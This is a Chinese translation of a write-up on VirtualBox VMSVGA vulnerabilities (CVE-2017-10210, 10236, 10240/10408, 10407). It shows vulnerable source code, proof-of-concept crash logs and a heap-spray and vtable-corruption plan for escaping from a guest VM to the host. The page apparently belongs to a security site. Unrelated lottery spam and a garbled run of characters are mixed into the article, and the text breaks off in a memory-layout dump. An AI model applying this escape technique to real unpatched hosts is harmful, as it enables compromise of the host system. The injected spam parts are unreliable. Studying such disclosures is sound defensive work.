• 我相信“交警雨中护送高考生”是真,“交警雨中护送高考生”反被该高考生家长投诉是假。 2019-04-16
  • 14名消防员日巡逻28公里 洗冷水澡 2019-04-10
  • 靶壕有了“蓝军”,百发百中的“神枪手”练起来 2019-04-10
  • 不是秀强大了,别人就会来做朋友,这逻辑不对 2019-04-01
  • 候选企业:中国石油呼和浩特石化公司 2019-03-26
  • 航天员沙漠野外生存训练完美收官!为第一天团打call 2019-03-25
  • 请问,建立市场经济后,原计划经济哪里去?改革后,我们还在实行计划经济,为何没有提及? 2019-03-25
  • 构建年轻干部梯次培养链 2019-03-19
  • 孙实的专栏作者中国国家地理网 2019-03-15
  • 湖南师范大学举行研究阐释党的十九大精神国家社科基金重大专项学术研讨会 2019-03-15
  • [雷人]蠢货!土地处于不同的城市和地段,关联的资源不一样,价值也不一样。不然给咱俩同样面积的土地,咱的在北上广深,你的在边远山区,你干么? 2019-03-08
  • 国际社会持续热议上合青岛峰会:上合组织发展进入新阶段 彰显中国领导力 2019-03-08
  • 珍惜野生动物频现甘孜境内 生态环境质量不断提升 2019-03-06
  • "新经济形势下金融创新的变革与机遇"论坛 2019-03-06
  • 频道栏目
    神奇公式秒杀全国11选5 > 安全 > 网站安全 > 正文

    山西11选5走势图遗漏:VirtualBox VMSVGA多个虚拟机逃逸漏洞分析简介

    2018-11-29 03:02:28         来源:[db:作者]  
    收藏   我要投稿

    神奇公式秒杀全国11选5 www.2zfa.com VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。另外,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述。此外,Kostya Kortchinsky发布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,详细介绍了如何利用VMware SVGA设备中的神奇公式秒杀全国11选5进行VM逃逸。
    Oracle在2015年一月的重要补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)。在文章《通过硬件仿真攻击虚拟机管理程序》中,提供了有关VirtualBox中VMSVGA漏洞的一些细节。
    值得注意的是,由于VMSVGA设备在默认情况下未启用,所以受影响的用户可能非常有限。但是,用户可以根据VBoxManage文档中的说明启用该功能。
    VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
    Oracle在2017年7月和2017年10月的重要补丁更新中,修复了VMSVGA漏洞CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,这些漏洞是由我发现并报告的。另外,来自360 Gear团队的李强也同时独立发现了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240这四个漏洞。在这篇博客文章中,详细介绍了其中的一些问题,并演示如何利用这些漏洞实现虚拟机逃逸。
    我们在macOS环境的VirtualBox 5.1.22版本中进行了分析。Linux版本的VirtualBox不支持VMSVGA 3D功能,这一功能仅在Windows和macOS中可用。
    vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中验证validating face[0].numMipLevel过程存在整数溢出漏洞(CVE-2017-10210)
    int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
    SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
    SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
    {
    . . .
    /* cFaces must be 6 for a cubemap and 1 otherwise. */
    AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
    AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
    . . .
    }
    在使用“surfaceflag” SVGA3D_SURFACE_CUBEMAP时,“cFaces”值可以设置为6。然后,可以将“face[0].numMipLevels”设置为cFaces * face[0].numMipLevels wraps的计算结果。“cMipLevels”取决于为SVGA_3D_CMD_SURFACE_DEFINE命令传递的SVGA3dSize结构的数量,例如2 == 6 * 0x2aaaaaab。
    用于其它多个命令中的face[0].numMipLevels值是导致内存损坏的元凶。在CVE-2017-10210的PoC中,使用了SVGA_3D_CMD_SURFACE_DESTROY命令来演示内存损坏,最终导致free()无效。
    int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
    {
    . . .
    if (pSurface->pMipmapLevels)
    {
    for (uint32_t face=0; face cFaces; face++)
    {
    for (uint32_t i=0; i faces[face].numMipLevels; i++)
    {
    uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
    if (pSurface->pMipmapLevels[idx].pSurfaceData)
    RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
    }
    }
    RTMemFree(pSurface->pMipmapLevels);
    }
    . . .
    }
    [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc
    [sudo] password for renorobert:
    poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE...
    poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
    [lldbinit] process attach --pid 57984
    [-] warning: get_frame() failed. Is the target binary started?
    Process 57984 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
    Target 0: (VirtualBoxVM) stopped.


    Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
    Architecture set to: x86_64h-apple-macosx.
    [lldbinit] c
    Process 57984 resuming
    -----------------------------------------------------------------------------------------------------------------------[regs]
    RAX: 0x0000000000000000 RBX: 0x000070000E657000 RBP: 0x000070000E656CC0 RSP: 0x000070000E656C88 o d I t s z a P c
    RDI: 0x000000000000DB0B RSI: 0x0000000000000006 RDX: 0x0000000000000000 RCX: 0x000070000E656C88 RIP: 0x00007FFF5F9B7B66
    R8: 0x0000000000000000 R9: 0x0000000000000000 R10: 0x0000000000000000 R11: 0x0000000000000206 R12: 0x000000000000DB0B
    R13: 0x0000000000000004 R14: 0x0000000000000006 R15: 0x000000000000002D
    CS: 0007 FS: 0000 GS: 0000 Jump is taken (c = 0)
    -----------------------------------------------------------------------------------------------------------------------[flow]
    -----------------------------------------------------------------------------------------------------------------------[code]
    __pthread_kill @ libsystem_kernel.dylib:
    0x7fff5f9b7b66: 73 08 jae 0x7fff5f9b7b70 ;
    0x7fff5f9b7b68: 48 89 c7 mov rdi, rax
    0x7fff5f9b7b6b: e9 79 6f ff ff jmp 0x7fff5f9aeae9 ; cerror_nocancel
    0x7fff5f9b7b70: c3 ret
    0x7fff5f9b7b71: 90 nop
    0x7fff5f9b7b72: 90 nop
    0x7fff5f9b7b73: 90 nop

    __pthread_markcancel @ libsystem_kernel.dylib:
    0x7fff5f9b7b74: b8 4c 01 00 02 mov eax, 0x200014c
    -----------------------------------------------------------------------------------------------------------------------------

    Process 57984 stopped
    * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
    frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
    Target 0: (VirtualBoxVM) stopped.
    [lldbinit] bt
    * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
    * frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
    frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
    frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
    frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
    frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
    frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
    frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
    frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
    frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
    frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
    frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
    frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
    [lldbinit]
    vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未验证paMipLevelSizes导致整数溢出漏洞(CVE-2017-10236)
    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
    for (uint32_t i = 0; i pMipmapLevels[i];
    . . .
    pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
    pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
    pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
    AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }
    在这里,由于“paMipLevelSizes”值完全由Guest控制,因此“cbSurfacePitch”和“cbSurface”的计算可能会产生溢出。由于“cbSurface”的计算存在问题,进一步导致RTMemAllocZ最终分配的缓冲区大小比实际需要的要少。在其他SVGA命令中使用“pSurfaceData”期间,可能会发生越界读/写的情况。针对该漏洞提供的PoC仅演示了无效分配,可以在调试器中观察到这一点,不会触发任何崩溃。但是,这一漏洞随后将会在完整的VM逃逸漏洞利用中使用到。
    vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多个整数溢出漏洞(CVE-2017-10240和CVE-2017-10408)
    int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
    uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
    {
    . . .
    for (unsigned i = 0; i pMipLevel->size.width)
    paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
    if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
    paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
    if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
    paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

    if ( !paBoxes[i].w
    || !paBoxes[i].h
    || !paBoxes[i].d
    || paBoxes[i].x > pMipLevel->size.width
    || paBoxes[i].y > pMipLevel->size.height
    || paBoxes[i].z > pMipLevel->size.depth)
    {
    . . .
    continue;
    }
    uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
    AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
    . . .
    }
    在这一漏洞中,首先对于“pMipLevel”的“paBoxes”验证可能会发生溢出,从而导致绕过问题。由于整数溢出,因此也可以绕过针对“pMipLevel-> cbSurface”的“uDestOffset”验证。我们在多个位置都发现了类似的代码模式。“uDestOffset”用于在调用vmsvgaGMRTransfer期间计算“pBufferStart”参数,所以验证失效将导致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所对应位置发生越界读取或越界写入。该漏洞的PoC将访问内存中pMipLevel->pSurfaceData偏移约4GB的位置,从而导致崩溃??梢酝ü雅缟洳⒎峙淇煞梦誓诖媲虻姆椒ɡ蠢谜庖宦┒?。
    [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make
    gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess
    [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc
    [sudo] password for renorobert:
    [lldbinit] process attach --pid 14518
    [-] warning: get_frame() failed. Is the target binary started?
    Process 14518 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
    Target 0: (VirtualBoxVM) stopped.

    Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
    Architecture set to: x86_64h-apple-macosx.
    [lldbinit] c
    Process 14518 resuming
    -----------------------------------------------------------------------------------------------------------------------[regs]
    RAX: 0x00007F976656CEB8 RBX: 0x0000000111C1C000 RBP: 0x00007000066CAC10 RSP: 0x00007000066CAC10 o d I t s Z a P c
    RDI: 0x00007F976656CEB8 RSI: 0x0000000111C1C000 RDX: 0x0000000000000000 RCX: 0x4141414141414141 RIP: 0x00007FFF5FB78FD0
    R8: 0x4141414141414141 R9: 0x0000000000000000 R10: 0x00000000FFFFFFFE R11: 0x00007F9654950EB8 R12: 0x0000000000000000
    R13: 0x0000000000000001 R14: 0x00007F976656CEB8 R15: 0x0000000000000001
    CS: 002B FS: 0000 GS: 0000
    -----------------------------------------------------------------------------------------------------------------------[flow]
    -----------------------------------------------------------------------------------------------------------------------[code]
    _platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
    0x7fff5fb78fd0: 48 89 0f mov qword ptr [rdi], rcx
    0x7fff5fb78fd3: 4c 89 04 17 mov qword ptr [rdi + rdx], r8
    0x7fff5fb78fd7: 5d pop rbp
    0x7fff5fb78fd8: c3 ret
    0x7fff5fb78fd9: 48 83 c2 08 add rdx, 0x8
    0x7fff5fb78fdd: 74 25 je 0x7fff5fb79004 ;
    0x7fff5fb78fdf: 4d 31 c0 xor r8, r8
    0x7fff5fb78fe2: 42 8a 0c 06 mov cl, byte ptr [rsi + r8]
    -----------------------------------------------------------------------------------------------------------------------------

    Process 14518 stopped
    * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
    frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
    Target 0: (VirtualBoxVM) stopped.
    [lldbinit] vmmap -a 0x00007F976656CEB8
    [lldbinit] bt
    * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
    * frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
    frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
    frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
    frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
    frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
    frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
    frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
    frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
    frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
    frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
    [lldbinit]
    vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整数溢出漏洞(CVE-2017-10407)
    int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
    SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
    {
    . . .
    AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth vram_size,
    ("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n",
    src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
    VERR_INVALID_PARAMETER);

    uint8_t *pSrc = pThis->CTX_SUFF(vram_ptr) + offSrc;
    . . .
    }
    其中,“offSrc”验证可能会发生溢出,并且可以绕过对“vram_size”的检查,这将会导致与VRAM相关的越界读取或越界写入。vmsvgaGMRTransfer可以由多个SVGA命令使用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN等。
    在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,针对vram_size验证“offsetDest”。因此,写入的位置只能从VRAM缓冲区内开始。但是,“offsetSource”最终可以在受控制的偏移量处指向超出VRAM缓冲区的位置,从而可靠地提供信息泄露漏洞。
    case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
    {
    . . .
    unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
    unsigned offsetDest = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
    unsigned cbCopyWidth = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;

    AssertBreak(offsetDest vram_size);

    rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
    该漏洞提供的PoC使用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相对于VRAM的OOB访问。
    漏洞利用
    在上述的多个漏洞中,提供了许多组合和原语。我选择使用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的漏洞来演示完整的VM逃逸:
    int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
    SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
    SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
    {
    . . .
    /* Allocate buffer to hold the surface data until we can move it into a D3D object */
    for (uint32_t i = 0; i pMipmapLevels[i];
    . . .
    pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
    pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
    pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
    AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }
    . . .
    }
    vmsvga3dSurfaceDefine()中存在的漏洞,允许为pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth设置非常大的值,但最终只需要分配所需大小的堆块。这一点对于进一步利用vmsvga3dSurfaceDMA()中的整数溢出漏洞来说非常有帮助。
    int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
    uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
    {
    . . .
    for (unsigned i = 0; i pMipLevel->size.width)
    paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
    if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
    paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
    if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
    paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

    if ( !paBoxes[i].w
    || !paBoxes[i].h
    || !paBoxes[i].d
    || paBoxes[i].x > pMipLevel->size.width
    || paBoxes[i].y > pMipLevel->size.height
    || paBoxes[i].z > pMipLevel->size.depth)
    {
    . . .
    continue;
    }
    . . .
    uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
    AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
    . . .
    rc = vmsvgaGMRTransfer(pThis,
    transfer,
    . . .
    paBoxes[i].w * pSurface->cbBlock,
    paBoxes[i].d * paBoxes[i].h);
    . . .
    }
    由于pMipLevel的宽度、高度和深度在vmsvga3dSurfaceDefine()中被设置为非常大的值,因此可以绕过涉及paBoxes的第一次检查。后续,这些值将用于计算“uDestOffset”,可以设置为任意值。
    uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
    但是,其后有一个验证:
    AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
    举例来说:
    uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) cbSurface
    在这里,可以将较高值设置为uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)来绕过验证。在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用于计算memcpy()调用的大小参数。为了使大小调整为一个合理的值,我们将uDestOffset设置为一个较大的值,从而允许读取/写入一个距离表面分配约4GB的偏移量。
    为了利用这个漏洞,有两个问题需要解决:
    1、从表面分配偏移约4GB的内存;
    2、在这个巨大偏移量的分配内存中,应该存在指针损坏,从而导致代码执行。
    在macOS中,共有三种类型的分配: Tiny、Small和Large。Tiny堆分配的地址范围是0x00007fxxxxx00000,而Large分配则占用另一个地址范围0x00000001xxxxx000。上述二者堆分配中的任何一个都能够进行漏洞利用。
    我选择的是Tiny类型堆分配,主要因为,我知道Tiny类型的分配中具有指向vtable和其他内存分配的指针,而这样的指针可能会由于代码执行而被破坏。但是,使用Tiny类型的分配来喷射(Spray)整个4GB内存是一个非?;郝墓?。macOS支持最大127KB的Small分配。因此,我们的思路是尽可能多地分配Small块,以加快堆喷射的进度,并减少Tiny块堆喷射的数量。
    分配Tiny块
    对于Tiny块,我将目标放在针对HGCM(Host-Guest通信管理器)执行的分配上。关于HGCM的详细信息,可以参考:https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
    针对这个漏洞,我习惯使用HGCM连接对象,然后进行喷射。要对HGCM连接进行初始化,需要使用VMM虚拟PCI设备进行。设备的BAR0保存用于HGCM通信的I/O端口地址。无论何时启动HGCM连接,都会在内存中分配大小为72字节的HGCMClient对象,并返回客户端ID。下面是HGCMClient对象的示例:
    typedef struct _AVLULNodeCore
    {
    AVLULKEY Key; /** Key value. */
    struct _AVLULNodeCore *pLeft; /** Pointer to left leaf node. */
    struct _AVLULNodeCore *pRight; /** Pointer to right leaf node. */
    unsigned char uchHeight; /** Height of this tree: max(height(left), height(right)) + 1 */
    } AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;

    typedef struct _ObjectAVLCore
    {
    AVLULNODECORE AvlCore;
    void *pSelf; // type HGCMObject
    } ObjectAVLCore;

    struct HGCMClient {
    void *vptr_HGCMObject;
    uint32_t m_cRefs;
    uint32_t m_enmObjType; // HGCMOBJ_TYPE enum
    ObjectAVLCore m_core;
    void *pService; // type HGCMService
    void *pvData;
    uint64_t padding;
    } HGCMClient;
    HGCMClient的创建和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient来完成。这些客户端对象使用AVL树进行维护,其中的节点包含客户端ID,并且还包含指向对象本身的指针。在漏洞利用期间,我们需要避免破坏AVL树的元数据,以防止在查找或插入AVL树节点期间发生任何崩溃。此外,我们可能会损坏HGCMClient的vtable,以获得RIP控制。
    HGCMClient对象的删除发生在HGCM断开连接期间,由HGCMService::DisconnectClient进行处理,其中使用到了损坏的vtable。
    int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
    {
    . . .
    HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
    AssertRelease(pMsg);

    pMsg->u32ClientId = u32ClientId;

    hgcmObjDereference(pMsg); // use of corrupted vtable on deletion
    . . .
    }
    分配Small块
    为了能更高效地填充4GB,与Tiny块相比,Small块显然是更好的选择。SVGA_3D_CMD_SURFACE_DEFINE命令可用于分配任意大小的块。
    int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
    SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
    SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
    {
    . . .
    AssertReturn(sid papSurfaces[sid];

    /* If one already exists with this id, then destroy it now. */
    if (pSurface->id != SVGA3D_INVALID_ID)
    vmsvga3dSurfaceDestroy(pThis, sid);
    . . .
    }
    vmsvga3dSurfaceDefine()允许最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)个唯一的表面分配。针对大小为127KB的表面,这样的限制足以让我们填充约4GB。由于页是分配给堆的较低地址,因此最开始需要分配HGCMClient对象,然后才是表面分配。在进行堆喷射后,内存布局如下图所示:

    喷射前的内存布局
    Stack 00007000060c1000-0000700006143000 thread 29
    MALLOC_TINY 00007ff16b400000-00007ff16b500000 [ 1024K 684K 684K 316K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff16b500000-00007ff16b700000 [ 2048K 792K 792K 1256K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff16b700000-00007ff16b800000 [ 1024K 840K 840K 184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 1332K 1332K 2160K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff16c06e000-00007ff16d800000 [ 23.6M 2600K 2600K 4288K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff16d800000-00007ff16d900000 [ 1024K 484K 484K 540K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff16d900000-00007ff16da00000 [ 1024K 364K 364K 660K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 20K 20K 12K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 448K 448K 492K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 368K 368K 60K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_TINY 00007ff170400000-00007ff170600000 [ 2048K 84K 84K 948K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0
    喷射后的内存布局
    Stack 000070000624a000-00007000062cc000 [ 520K 12K 12K 0K] rw-/rwx SM=PRV thread 35
    MALLOC_SMALL 00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff08b400000-00007ff08b500000 [ 1024K 244K 244K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
